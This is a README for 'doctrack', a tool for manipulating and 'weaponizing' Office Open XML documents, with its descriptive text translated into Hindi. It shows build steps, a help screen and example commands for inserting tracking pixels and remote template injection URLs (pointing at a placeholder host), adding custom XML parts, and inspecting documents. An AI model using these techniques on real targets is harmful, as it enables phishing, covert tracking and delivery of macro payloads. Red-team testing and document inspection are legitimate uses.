
Office Open XML दस्तावेज़ों में हेरफेर और हथियार बनाने का उपकरण।
Office Open XML दस्तावेज़ों को हेरफेर और हथियार बनाने का उपकरण।
आपको .Net 6.0 डाउनलोड करने की आवश्यकता होगी। फिर, Windows पर एक एकल बाइनरी बनाने के लिए:
$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true
Linux पर:
$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true
$ doctrack --help
Tool to manipulate and weaponize Office Open XML documents.
-i, --input Input filename. If doesn't exist, new file is created.
-o, --output Output filename. If not set, document is saved as --input
file.
-m, --metadata Metadata to supply (JSON file).
-u, --url URL to insert.
-e, --template (Default: false) If set, enables template URL injection.
-s, --inspect (Default: false) Inspect document.
-c, --custom-part Insert a Custom XML part (XML file)
--help Display this help screen.
एक Word दस्तावेज़ बनाएँ और दस्तावेज़ मेटाडेटा बदलें:
$ doctrack -i test.docx -m metadata.json
ट्रैकिंग पिक्सेल सम्मिलित करें और दस्तावेज़ मेटाडेटा बदलें:
$ doctrack -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png
रिमोट टेम्पलेट URL सम्मिलित करें (उर्फ रिमोट टेम्पलेट इंजेक्शन):
$ doctrack -i test.docx -o test.docx --url http://test.url/template.dotm --template
एक Custom XML भाग सम्मिलित करें:
$ doctrack -i test.docx -o test.docx -c part.xml
बाहरी लक्ष्य URL, मेटाडेटा और Custom XML भागों का निरीक्षण करें:
$ doctrack -i test.docx --inspect
[External targets]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[Metadata]
Creator: wavvs
Title: doctrack
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:
[CustomXML Parts]
Part: /customXML/item.xml (25 bytes)